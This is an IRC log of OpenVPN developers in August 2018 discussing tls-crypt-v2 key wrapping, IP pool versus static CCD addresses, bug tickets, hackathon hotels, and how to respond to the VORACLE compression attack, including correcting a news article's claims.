13:37 <@cron2> if windows has boot issues, it does a black screen or a windows logo, and then either bluescreens or reloads, and if it's low-level stuff (like "I'm confused about disk drivers") there usually is no easy way to figure out what is broken and why 13:37 <@cron2> ... and with modern linuxes, it's all "splash screen, and then gui starts", no more text info... and if systemd decides that your filesystem layout stinks, you're just as hosed as on windows 14:20 < kitsune1> Linux going the Windows way is the most irritating thing to happen in last 5 years or so. Good old slackware days are gone. 14:37 < tincantech> lol .. this sounds familiar 15:01 < m-a> go help the FreeBSD desktop porter teams and make FreeBSD worthwhile ;-) 15:05 < kitsune1> Yeah, I would like to go back to so some place where init, /etc/inittab and I are in control. 15:12 < m-a> or Devuan 15:13 < m-a> https://devuan.org/ "Devuan GNU+Linux is a fork of Debian without systemd." 15:13 <@vpnHelper> Title: Welcome to devuan.org | Devuan GNU+Linux Free Operating System (at devuan.org) 15:20 < kitsune1> Been using Debian since potato (early 2000?) -- so if I switch it will be to something like xxxBSD, not Devuan. 15:22 < kitsune1> And removing systemd from Debian is possible -- I wish that was the default. 20:58 <@ordex> syzzer: please ping me when you read my comments above 23:17 <@ordex> btw we got this article out https://www.bleepingcomputer.com/news/security/voracle-attack-can-recover-http-data-from-vpn-connections/ and they are saying: 23:17 <@vpnHelper> Title: VORACLE Attack Can Recover HTTP Data From VPN Connections (at www.bleepingcomputer.com) 23:17 <@ordex> But despite this, the OpenVPN project did not modify its default setting of compressing data before encrypting it as part of the VPN tunnel. 23:17 <@ordex> ???? openvpn does not encrypt by default --- Day changed Thu Aug 16 2018 01:52 <@cron2> mornin 01:59 <@ordex> morgen 02:14 <@syzzer> ordex: ping :) 02:14 <@ordex> pong! 02:14 <@ordex> :D 02:15 <@syzzer> yeah, defining "len" als the length of WKc might make more sense 02:16 <@syzzer> we'll have to calculate the final length either before wrapping or before unwrapping, I think before wrapping makes more sense 02:16 <@ordex> what do you mean with final length? 02:17 <@ordex> consider that the receiver has the wrapped thing (WKc) and it needs to know where it starts so it can separate it from the rest 02:17 <@ordex> (this is the use case I think we'll have) 02:18 <@syzzer> len is authenticated, and authentication happens before encryption, because we use a SIV-like cipher 02:18 <@syzzer> so we need to know the value of len before we created WKc 02:18 <@syzzer> which is why it currently is the length of the plain text ("we know that right now') 02:19 <@syzzer> because we know the encryption overhead, we could compensate the value to represent the lenght of the to-be-generated WKc 02:20 <@syzzer> which makes unwrapping easier, because there is no compensation needed there anymore (the code now add the encryption overhead to len before extracting WKc from the packet) 02:20 <@ordex> aaaah I didn't know about that overhead being added 02:21 <@ordex> this is why the explanation in the doc was not working for me 02:21 <@ordex> but I like your suggestion of considering the overhead before wrapping 02:24 <@syzzer> well, that basically was your suggestion :p 02:25 <@syzzer> but you're right, I'll change that 02:25 <@syzzer> but I can probably better wait for you to finish your review a bit more? 02:25 <@ordex> ok, I am going over the doc once again today an dI'll give you a response later 02:26 <@ordex> I'd suggest to specify in the doc that this header is considered when computing 'len' 02:26 <@ordex> as now there is no reference 02:27 <@syzzer> yeah, I'll update the doc to do that 02:35 <@ordex> thanks 02:49 <@ordex> syzzer: the other thing (I think we discussed this already) is to mention how the metadata type is passed to the verify script on the server side (i.e. env var?) 02:49 <@ordex> other than that the doc looks good! 02:50 <@ordex> so I guess you'll change the key generation patch too, to adapt the length to what we discussed above 02:50 <@ordex> or you want me to check that too first (may make sense actually) 02:50 <@ordex> ? 03:04 <@syzzer> ordex: if possible, please review that patch too first 03:04 <@ordex> yup, will do 03:04 <@syzzer> try to cut down on the iterations a bit :) 03:04 <@ordex> hehe yeah 03:05 <@syzzer> wrt the verify script thing, I think that's more implementation-specific. I tried to keep the doc to describe just the protocol, as much as possible. 03:05 <@syzzer> I *should* have added a clear description to the man page in the metadata patch though 03:06 <@syzzer> openvpn3 might opt for a different approach to do metadata verification, for example 03:09 <@ordex> hm ok, I am just not sure the openvpn2 rpeo is the right place for a "implementation unaware documentation" 03:09 <@ordex> but I get your point 03:09 <@ordex> still, what I am asking probably has to go in the man, that's a good place indeed 03:10 <@syzzer> +OpenVPN supplies the following env vars to the command: 03:10 <@syzzer> +.RS 03:10 <@syzzer> +.IP \[bu] 2 03:10 <@syzzer> +script_type is set to "tls-crypt-v2-verify" 03:10 <@syzzer> +.IP \[bu] 03:10 <@syzzer> +metadata_type is set to "0" is the metadata was user supplied, or "1" if it's a 03:10 <@syzzer> +64-bit unix timestamp representing the key creation time. 03:10 <@syzzer> +.IP \[bu] 03:10 <@syzzer> +metadata_file contains the filename of a temporary file that contains the client 03:10 <@syzzer> +metadata.ah, typo spotted :') 03:18 <@ordex> hehe 03:18 <@ordex> goed! 03:26 <@ordex> aloha dazo :) we were waiting for you before deciding which villa to rent for the hackathon :D 04:41 <@syzzer> cron2: ah, almost forgot, I didn't book/select a hotel yet. Have to wait for my manager to return from holiday to get approval of the costs anyway 04:47 <@ordex> cron2: just talked to dazo (he is alive!) he suggests we just check what we like and book as he does not really have any recommendation. only thing we can do is coordinating among ourselves if we want to stay at the same place 04:47 <@ordex> prices fluctuates a lot so... 06:28 <@cron2> that was the idea: coordinate, so could someone please select *something*... :-) 06:43 <@syzzer> I recall the Ibis looked fine 07:06 <@ordex> can't find it right now on the map - maybe it's sold out ? 07:07 <@ordex> ah found it 07:07 <@ordex> seems very cheap compared to the other options 07:08 <@ordex> not super close but reasonable i think 07:11 <@syzzer> very cheap? hmm, I thought is was a sligthly-more-expensive-than-average one. Like, EUR 70/night 07:12 <@ordex> lemme switch to EUR 07:12 <@ordex> now I see 55EUR per night 07:13 <@ordex> but others I was checking (closer to the office) were more expensive than that 07:13 < m-a> cron2: thanks for the responses on the ssl_verify label #ifdef noise, taking the works out of my mou^Whands 07:14 <@ordex> m-a: ah it's you! 07:14 <@ordex> :D 07:14 < m-a> oh heck, someone pulled my disguise 07:14 < m-a> O:-) 07:14 <@ordex> hehe 07:18 * m-a doesn't cherish too much option complexity. Users (including distributors) want options, but they don't immediately need to pay for the additional cost of maintenance/testing etc. 07:19 <@ordex> yeah 07:19 <@syzzer> fOr me, up to EUR 100/night is acceptable. So suggestions definitely welcome. Though being Dutch, I am cheap by nature and prefer a good bang/buck ratio ;-) 07:19 <@ordex> :D 07:20 < m-a> you mean, more bang? Like, Dutch New Year's Eve Warzone Sounds? 07:20 * m-a takes cover 07:21 <@syzzer> Wow, that's a new term for me :') 07:21 <@syzzer> But it describes the event quite accurately 07:21 < m-a> every year I wonder if there are tanks to hire so the drunk don't burn down my car in case I go to NL 07:21 < m-a> on new year's eve or night 07:22 <@ordex> lol 07:23 < m-a> or perhaps I should just rent a car without deductible because then I don't care about mine :-) 07:24 <@syzzer> yeah, I always pray my house doesn't burn down when I'm out to friends on NYE 07:24 <@syzzer> it's somewhat surprising that there are "so few" victims each year 07:26 <@syzzer> (looking for numbers, I find 473 fireworks victims on NYE 2016/2017) 07:30 <@ordex> btw, for what concerns the hotel I'd be fine with ibis 09:32 < tincantech> ecrist: krzee in mod logs you will see i edited krzees post .. this was only to replace verb 6 with verb 4 (just fyi) 09:45 <@ecrist> what? 09:48 <@ecrist> oh 10:05 < tincantech> i did not want to leave an "edited by" on the post so just explaining why i edited it 11:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 16:26 <@cron2> ibis is usually reasonable, so that would work for me 16:26 <@cron2> won't book today or tomorrow, so if you book, please put it into the wiki 19:45 <@ordex> cron2: I just booked - will add to the wiki --- Day changed Fri Aug 17 2018 00:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:25 <@ordex> cron2: is a mixed situation with static and non static IPs expected to work? where static are given via ccd ? 09:26 <@ordex> I think ccd files are read at connection time, no? so it is impossible for the dynamic allocation to know what will be assigned statically later 09:26 <@ordex> or am I wrong? 09:49 <@dazo> ordex: iirc, that is the expected behaviour .... static IPs cannot overlap with the ip pool 09:53 <@ordex> is it expected that they will overlap you mean? 09:53 <@ordex> i.e. either you must use static IPs for every client or no? 09:55 <@ordex> dazo: ^ 09:57 <@dazo> no, you can use a smaller ip pool and use CCD assigned addresses outside that pool 09:58 <@ordex> ah sure 09:58 <@ordex> ok, now i understand your previous statement 09:59 <@dazo> from what I recall (haven't checked code now), the dynamic assignment doesn't know what might happen inside CCD files at all, so it doesn't catch if a dynamic address has been assigned outside its own allocator 09:59 <@ordex> correct 09:59 <@ordex> well 10:00 <@ordex> I think it knows what is assigned, but for sure it can't 'predict' because ccd files are not preloaded 10:00 <@dazo> right 10:01 <@dazo> And I don't think it makes any sense to change this behaviour ... because if a CCD file has not been "activated" but the dynamic allocator uses one of those addresses and then the CCD file is activated - then everything is in a pinch again 10:01 <@dazo> so rather have a smaller dynamic scope and keep static addresses outside of that scope 10:03 <@dazo> (You could argue that the CCD could be preparsed to "reserve" addresses ... but then you need to account for CCD files being modified after it has been preparsed ... and then you have dynamic CCD files, used by --client-connect or --plugin) 10:03 <@ordex> yap 10:05 <@dazo> and anyone complaining about that (there has been a few) can rather implement their own IP address pooling via --client-connect/--plugin and not use the built-in one :) 10:06 <@ordex> this guy suggested to mention this in the doc 10:06 <@dazo> I thought we had that covered already 10:09 <@dazo> hmm ... no, it was probably just discussed a long time ago or so 10:11 <@ordex> maybe 10:41 < tincantech> i learn something every day ^ 10:46 < tincantech> lol .. Options error: --server-ipv6 is incompatible with 'nopool' option 10:47 < tincantech> ordex: one for you maybe ? 10:48 <@ordex> this is still wip as the ipv6 & pool patch ha snot been merged yet 10:48 < tincantech> ahh so there is one .. cool :D 13:50 <@cron2> mornin 13:50 <@cron2> first day of travelling succeeded :-) - now: quick e-mail check, then sleep 13:51 <@cron2> ordex: pool + static from CCD is known to work fine - but I'm not sure whether the pool code will take notice of the static IP, or happily assign it to someone else later 13:51 <@cron2> I just use distinct ranges for pool + static 13:53 <@cron2> (basically, what dazo said) 18:44 < tincantech> That would be "the Rope " angle 19:46 <@ordex> cron2: ack --- Day changed Sat Aug 18 2018 06:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 06:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:59 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 07:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:00 <@cron2> mornin 15:20 < tincantech> where the ef are you ? 15:20 <@cron2> italy 15:20 < tincantech> oz 15:20 <@cron2> more a "first greeting in the day" thing than daytime related 15:21 < tincantech> its pitch black on the shores of italia ;) 15:23 < tincantech> from ordex' pov it is probably accuwrist l-) 15:23 < tincantech> ooo laggin .. 15:27 < tincantech> italy .. great country .. had one of the best nights of my life in Roma with a Lady called Jessica (from Sweden) 16:04 <@vpnHelper> RSS Update - tickets: #1085: --topology subnet is not ignore --dev tap mode <https://community.openvpn.net/openvpn/ticket/1085> 21:24 <@ordex> cron2: something broke?? --- Day changed Sun Aug 19 2018 03:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:36 <@vpnHelper> RSS Update - tickets: #1086: Routing is broken: ip addr commands do not take effect <https://community.openvpn.net/openvpn/ticket/1086> 03:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:06 <@ordex> cron2: about #1085: if that's on 2.4.6, why do you think my changes might have something to do with that bug? (my changes should be in master only) or do you think my changes might have actually "fixed" the issue? 07:10 <@cron2> ordex: just wondering. You definitely have not *broken* it, but maybe you fixed it :) 07:10 <@cron2> and this seems like a candidate for yet another t_client test... 07:11 <@ordex> yup yup 07:32 <@cron2> bah 07:32 <@cron2> my server at home is off 07:33 <@cron2> because the nice remote-controlled power strip sometimes likes to just turn off everything... 07:33 <@cron2> ... when I'm abroad. Never when I'm at home... (because that way I would have just removed the server from that power strip, but I forgot after the last mishap) 07:34 <@ordex> the Internet Of Traps 07:44 <@cron2> mmmh, 1086 looks strange 07:47 <@ordex> yeah it does 07:47 <@ordex> I wonder if the same happens without persist-tun 07:50 <@cron2> you assume this only happens on reconnect? 07:53 <@ordex> nope, but the EEXIST error sounded like something was already setup 07:53 <@ordex> just a wild thought - might be off 07:54 <@cron2> yep 07:54 <@ordex> well, actually the EEXIST error is thrown on adding the bypass route 07:54 <@ordex> not when configuring tun0 07:55 <@cron2> yep, but that should also never happen (and it doesn't explain the part about "ip addr" not working) 07:55 <@ordex> and even weirder the first 2 route commands adding the def1 routes do not throw any "nexthop invalid" error 07:55 <@ordex> yap 07:55 <@cron2> eworm: could yo have a look? This is on arch... maybe something rolled in a broken way? 07:55 <@cron2> meh, no eworm 08:03 <@cron2> a twisting maze of tunnels... 08:04 <@ordex> cron2: agreed with fixing it with a small patch to master 08:04 <@ordex> to *2.4 08:04 <@ordex> and restructure it in master 08:05 <@cron2> I was already wondering :) 08:05 <@ordex> :) 08:08 <@cron2> meh 08:08 <@cron2> the code does 08:08 <@cron2> if (tun) /* this is p2p tun */ 08:08 <@cron2> else if ( tt->topology == TOP_SUBNET ) /* assume subnet tun */ 08:08 <@cron2> else /* do tap */ 08:08 <@cron2> across most platforms 08:10 <@cron2> *look at linux* 08:10 <@cron2> haha 08:10 <@cron2> linux is taking a shortcut 08:10 <@cron2> if (tun) /* do p2p */ 08:11 <@cron2> else /* do all other variants */ 08:48 <@ordex> you've been fast :) 08:48 <@cron2> I was curious 08:48 <@cron2> now I have to quit 08:49 <@cron2> guests are coming over... cu l8er 08:52 <@ordex> see ya! 10:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 10:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:25 -!- Netsplit *.net <-> *.split quits: pekster 14:36 <@vpnHelper> RSS Update - tickets: #1087: opensolaris, tap mode, extra ipv6 routes do not work <https://community.openvpn.net/openvpn/ticket/1087> 14:44 <@cron2> why is buildbot telling me "all green" for opensolaris when its log show "t_client test 4+4a fails"? 14:46 <@cron2> meh 14:46 <@cron2> -#PING6_HOSTS_4b="fd00:abcd:194:4::1 fd00:abcd:194:0::1" 14:46 <@cron2> -PING6_HOSTS_4b="fd00:abcd:194:4::1" # route-ipv6 on tap missing 14:46 <@cron2> because I have disabled the failing tests... wtf 14:46 <@cron2> lazy man 15:28 <@cron2> #1086 is weird indeed 15:34 <@cron2> dazo: you might know something there 15:54 <@vpnHelper> RSS Update - tickets: #1088: Android: app crashes upon connection <https://community.openvpn.net/openvpn/ticket/1088> 16:21 < tincantech> cron2: do you mean 1086 or 1087 ? 16:24 < tincantech> nvm .. i see 17:08 < tincantech> ecrist: this feels like spam to me .. if not spam then maybe just move to OT ? please review : https://forums.openvpn.net/viewtopic.php?f=4&t=19317&p=80780#p80780 17:08 <@vpnHelper> Title: TAP on Android - OpenVPN Support Forum (at forums.openvpn.net) 17:08 < tincantech> 15k views --- Day changed Mon Aug 20 2018 00:47 <@vpnHelper> RSS Update - tickets: #1089: Cannot use openvpn with config files under /home <https://community.openvpn.net/openvpn/ticket/1089> 05:21 <@ecrist> there is nothing in that post that looks spammy to me. 06:41 <@cron2> tincantech: 1086. 1087 is fairly easy "our code does stupid things, and has always done so" 06:41 <@cron2> tincantech: TAP on Android is a legitimate wish, which just cannot be done today 06:42 <@cron2> plaisthos: are you still tempted to implement the tap emulator? My tun emulator for AIX ("which can only do TAP, not TUN") is nearly done... IPv4 works, IPv6 ND isn't finished yet... :-) 11:26 <@plaisthos> cron2: hm I feel like need some motivation of "why" I should be doing this ;) 11:31 <@plaisthos> but also OS X would benefit from a tap on tun emulator 11:32 <@plaisthos> as you can use tun without 3rd party kexts and need 3rd party kext for tap 11:33 <@plaisthos> cron2: for Ipv6 ND look at my block-ipv6 patch 11:33 <@plaisthos> that already implement contrustructing an ICMPv6 packet from scratch so you could build your icmpv6 packet contrustion on top of that 11:39 <@plaisthos> I will take 1086 12:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:15 <@plaisthos> I meant 1088 and it is kind of obscure ISO-8859-1 vs UTF-8 and mbedtls vs openssl 12:24 <@plaisthos> syzzer: 1088 is fun for all of us. When using OpenVPN2 OpenSSL gets iso8859-1 cn right (and it somehow ends up being printed in utf-8), with mbedtls the iso8859-1 string is printed 13:55 <@cron2> plaisthos: 1088 is amazing 13:55 <@cron2> ordex: is block-ipv6 v<current> ACKed? I seem to remember you reviewed v1, v2, v3, ... and then the thing lost track 13:56 <@cron2> having an ICMPv6 constructor with checksums etc would be useful :) 13:56 <@cron2> plaisthos: wrt motivation - kit.edu runs their openvpn in tap mode on the server side, because they do "security contexts" by assigning VLANs to their different dial-in groups 13:56 <@cron2> so the client needs to be able to do tap 13:57 <@cron2> the feature "different clients gets put into different <things> (call it routing instances or whatever)" is useful, and we cannot currently do it in tun mode... (we can't do it in tap mode either, but at least patches exist :) ) 14:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 17:29 < tincantech> is LibreSSL in actual fact an *insane* bid for power ? 17:39 < tincantech> https://github.com/OpenVPN/easy-rsa/issues/76 17:39 <@vpnHelper> Title: LibreSSL exposes misuse of $ENV · Issue #76 · OpenVPN/easy-rsa · GitHub (at github.com) 17:40 < tincantech> and in their own openssl.cnf.5 dated 29-7-18 we have <quote>: 17:41 < tincantech> By using the form $ENV::name, environment variables can be substituted. 17:41 < tincantech> </q> 17:42 < tincantech> they could at least put an astrisk in there 19:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:11 <@ordex> cron2: I did not review the last version 20:11 <@ordex> yet --- Day changed Tue Aug 21 2018 10:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:22 <@mattock1> btw. I won't make it to wednesday's meeting as I'm California now 11:22 <@mattock1> it would be 2:30 AM for me :) 11:24 < Dark-Fx> and? 11:36 <@dazo> :-P 11:59 < tincantech> lucky :D 13:27 <@ecrist> tincantech: got your email, will look tonight/tomorrow. have you run your changes through shellcheck? 13:50 <@cron2> mattock1: I'm in italy and need to attend the beach meeting tomorrow :) 13:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:35 -!- mode/#openvpn-devel [+o ordex] by ChanServ 14:36 < tincantech> ecrist: not through shellcheck but i have been watching their repo for sometime .. i'll give it a bash soon ish 14:39 -!- Netsplit *.net <-> *.split quits: +krzee 14:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:59 <@ecrist> ok, otherwise I will in the morning. 15:04 < tincantech> there is one that i knew shellcheck would not like .. me either .. but i can patch it easily now :) 15:17 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:17 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 15:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:19 -!- Netsplit *.net <-> *.split quits: @cron2 15:32 < tincantech> patched 17:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 18:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 18:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:32 <@ordex> mattock1: welcome back! 20:32 <@ordex> more or less 20:32 <@ordex> :D --- Day changed Wed Aug 22 2018 06:52 <@cron2_> good morning 06:55 -!- cron2_ is now known as cron2 06:56 <@cron2> syzzer: how do I test your cmocka patch? 08:16 <@dazo> cron2: install cmake, and run 'make check' 08:16 <@dazo> on a git checkout of the openvpn tree 10:19 <@syzzer> what dazo says - and both "with-source" and out-of-source builds 10:20 <@syzzer> and, recursive clone 12:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:43 -!- Guest22259 is now known as ValdikSS 13:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:56 <@cron2> dazo: well, that is "test that it does not break anything", but I wonder how to test the bits that are supposedly fixed 13:56 <@cron2> syzzer: what is a "recursive clone"? 14:11 <@cron2> dazo: I sent Richhard Hartmann to the security@ list because I know you're reading it and have ties to RedHat - the question "how do I notify the greatest set of linux distributions in a responsible way" is sort of still unanswered 14:11 <@cron2> are you awake and can help? 15:35 <@cron2> found https://oss-security.openwall.org/wiki/mailing-lists/distros - this was what I was looking for 15:35 <@vpnHelper> Title: mailing-lists:distros [OSS-Security] (at oss-security.openwall.org) 18:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:17 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 18:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Thu Aug 23 2018 02:12 <@syzzer> cron2: "git clone --recursive" also initialized submodules in one go 02:13 <@syzzer> and checking that this fixes my issue is by verifying that there are no absolute paths in the -I and -L flags when building the unit tests 02:14 <@syzzer> because I might wat to run the tests on a different machine/user/docker/whetever than where I build them 02:14 <@syzzer> (or actually, I want that, because I have a lot of build slaves and just one test slave that runs t_client, because I can only run one t_client test at a time) 02:52 <@plaisthos> How do we want to handle voracle/disabling compression on OpenVPN? 02:52 <@plaisthos> I think we a need a hybrid mode 02:53 <@plaisthos> still enable compression to be able to decrypt peer's traffic but do not compress anything anymore 02:54 <@syzzer> plaisthos: that's a good idea 02:55 <@plaisthos> and have an additional diretive "compress reallyuseit" to also relly also enable sending compression 02:55 <@syzzer> hehe, yup 02:55 <@syzzer> or maybe not even, if we really want to just get rid of the option 02:56 <@plaisthos> or add full-lz4 etc. options 03:12 <@syzzer> are you planning in writing something like this? 03:12 <@syzzer> *on 03:12 <@dazo> For the time being, I think we should just "accept" that we have --compress and --comp-lzo ... and under the hood not do the compression, but keep the right bits/flags set so the remote side knows the data is uncompressed 03:12 <@dazo> and then just kick out lzo/lz4 dependencies 03:13 <@dazo> If anything goes compressed over a VPN these days, it's already happening on the application layer 03:13 <@dazo> transmitting data over the VPN 03:13 <@syzzer> I vote for removing compression completely too 03:16 <@dazo> of course ... we can't just kick out compression just yet ... we will need to have support for it on the client side, as there might be OpenVPN servers out there which still does compression - so the client must be capable of decompressing it 03:16 <@dazo> but the client should send strong indications to the server "I don't want compression" and whatever the client sends, is uncompressed 03:17 <@dazo> if the server accepts the client doesn't do compression, that's good .... and then with time we can finally kill it off completely 03:18 <@dazo> if even considering plaisthos suggestion to override this disabling ... we should really make the option flag something like "enable-voracle-attack-vector" 03:19 <@syzzer> dazo: I think the implementation can just be symmetric; never compress, but accept compressed packets 03:20 <@syzzer> could also be that a newer server doesn't want to compress, but an older client connects 03:21 <@dazo> the scenario where client wants to compress but not server, is that really supported today? 03:21 <@syzzer> well, if both have comp-lzo in the config, f.ex. 03:21 <@dazo> I do know ovpn3 supports asymmetric compression (server compresses, clients does not) ... but I don't think not the other way around ... but this requires both sides to enable compression framing 03:22 <@dazo> if compression framing is enabled .... hmmmm .... yes, you're right 03:23 <@dazo> clients which can compress may choose to compress data to the server, indeed 03:23 <@dazo> meh ... backwards compat is a real pain ;-) 03:25 <@syzzer> the compression framing saves us here, yes 03:25 <@syzzer> so we should deprecate non-framed compression in 2.5 either way I think 03:26 <@syzzer> then use the path suggested by plaisthos to get rid of compression all to together on the long run 03:30 <@dazo> Is there such a thing as non-framed compression? 03:31 <@dazo> I thought the framing happened in the moment --compress or --comp-lzo was used - regardless if the compression was enabled or not 03:31 <@dazo> regardless if the compression is used or not, I meant 03:33 <@dazo> (well, maybe for static tunnels without control channel) 03:42 <@plaisthos> dazo: yes 03:43 <@dazo> plaisthos: yes what? ;-) 03:43 <@plaisthos> dazo: all the v2 variants do only add a prefix if compression is active 03:43 <@plaisthos> (or the first bytes would be IPv5) 03:45 * dazo is suddenly having a strong feeling of deja-vu, when looking at his IRC window 03:45 <@plaisthos> for older client that has compression in its config, we can push comp-lzo no 03:45 <@plaisthos> but only if it is not a p2p client 03:46 <@dazo> plaisthos: so that means for configurations where we have the control channel, the local side can ignore requested compression, set the framing flag to be uncompressed ... but it will need to parse the compression flag on incoming packets and decompress if it is compressed, right? 03:47 <@plaisthos> yes 03:48 <@dazo> p2p clients without PKI, I think we can't do much there though - except explicitly warn about compression in logs 03:50 <@plaisthos> biggest question before starting to implement something is if we want to have this enable-voracable 03:55 <@plaisthos> damn we have no compress none 03:55 <@plaisthos> according to man page 04:13 <@syzzer> plaisthos: compress stub 04:14 <@syzzer> (or stub-v2) 04:15 <@plaisthos> syzzer: stub is still an opcode byte :( 06:08 <@dazo> --compress without any argument enables compression framing but does not enable compression, iirc 06:09 <@dazo> which should be the equivalent to --comp-lzo no 06:10 <@plaisthos> yeah it would be nice to have compress disable to be pushable too 06:33 < tincantech> should --dhcp-release now be depricated ? as it is enabled by default since 2.4.1 06:33 < tincantech> spelling ;) 06:51 <@dazo> tincantech: it can probably be tagged better with a "(DEPRECATED)" in the man page. openvpn itself will also issue a warning about it. But I'd say it might be too early to remove it all together 07:02 <@cron2> wrt compression / voracle: I say we just ignore the whole hubbub. We do not compress by default, our manpage warns against compression, *and* nobody will do HTTP anymore anyway (so any sort of "extract data from HTTP streams" oracle is moot) 07:02 <@cron2> I see a whole lot of more important places to spend our energy 07:16 <@dazo> well .... but now misinformation is also spreading ... https://www.bleepingcomputer.com/news/security/voracle-attack-can-recover-http-data-from-vpn-connections/ 07:16 <@vpnHelper> Title: VORACLE Attack Can Recover HTTP Data From VPN Connections (at www.bleepingcomputer.com) 07:17 <@dazo> I find this line the worst: "The reason is that the open-source OpenVPN protocol uses a default setting that compresses all data before encrypting it via TLS and later sending it via the VPN tunnel" 07:17 <@cron2> yes, this is annoying (that URL was posted here last week already) - it claims "compression on by default", which is just wrong but sounds much better 07:17 <@cron2> and we do not "encrypt via TLS"... 07:17 <@cron2> is there an editor's mail address? We shall at least correct the factual incorrectnesses 07:18 <@dazo> I've already started that ball internally ... will try to follow up this 07:19 <@dazo> but regardless ... compression should be kicked out and disabled in a compatible way, that is the strongest we can do (never compress when sending, do what is required when receiving) 07:20 <@dazo> then we're slowly killing it regardless 07:20 <@cron2> I do not see consensus that we actually want that - "non-http workloads" do benefit from compression 07:21 <@cron2> off-by-default, and big fat warning - I'm all in 07:21 <@cron2> rip it out - I see this is as loss of useful functionality 07:23 <@cron2> make it a --i-know-what-Im-doing switch, I could live with it 07:25 <@dazo> I think that compression should be handled on the application layer and not bother the network layer (including VPN) with it ... so if a http service fancy compression, it should be handled on the http layer 07:25 <@cron2> the world is bigger than http 07:26 <@cron2> people do bridging LANs over TAP over OpenVPN, and that is something you can't "compress at application layer" easily 07:28 <@cron2> (just to find one obviously-not-http example) 07:28 <@dazo> yeah, I know ... but I still think it belongs to the application layer ... in that bridging context ... why don't people advocate for compression on the eth devices directly too then? 07:28 <@cron2> there is products that do that :) 07:29 <@dazo> oh dear ... what a world we live in 07:30 <@cron2> so, we need to discuss this tonight further, need to go visit folks at the beach 07:30 <@plaisthos> cron2: so for you disable compression on send by default would by okay? 07:30 <@cron2> it is off by default 07:31 <@plaisthos> QUestion is if want to allow/get users to migrate to non compression 07:31 <@cron2> for openvpn 2.x cli tool - yes, definitely 07:31 <@plaisthos> i.e. compress lz4 means (decrompess but not compress) and compress lz4 both means current behaviour 07:32 <@plaisthos> (or something similar) 07:32 <@cron2> we need to distinguish between "openvpn 2.x as a useful tool for various purposes" and "some much more limited VPN program that helps people surf securely" 07:32 <@cron2> for the second one, I'm all for adding restrictions, as long as you do not break the first one 07:33 <@cron2> (and now I need to be really gone, should have left 15 minutes ago) 07:33 <@plaisthos> cron2: no problem 07:33 <@dazo> We are not intending to break anything .... just never compress when sending data. Compression framing will be kept in-tact and be compatible with existing configs 07:33 <@plaisthos> cron2: The problem we have that a few years ago, encryption+compression seemed to be a good idea. And now it turns out that it is a bad idea 07:37 <@dazo> There might be some who find SSLv3 perfectly fine for a specific use case, where it performs best ... but we still moved to enforce minimum TLSv1.0 07:38 <@dazo> hardening our product to ensure it is not vulnerable isn't a new thing ... and we have killed features which could be useful for some in some settings, for the sake of improving security (--no-iv and --key-method comes to mind) 07:39 < tincantech> dazo: i updated this for now : https://community.openvpn.net/openvpn/wiki/DeprecatedOptions?action=diff&version=11 07:39 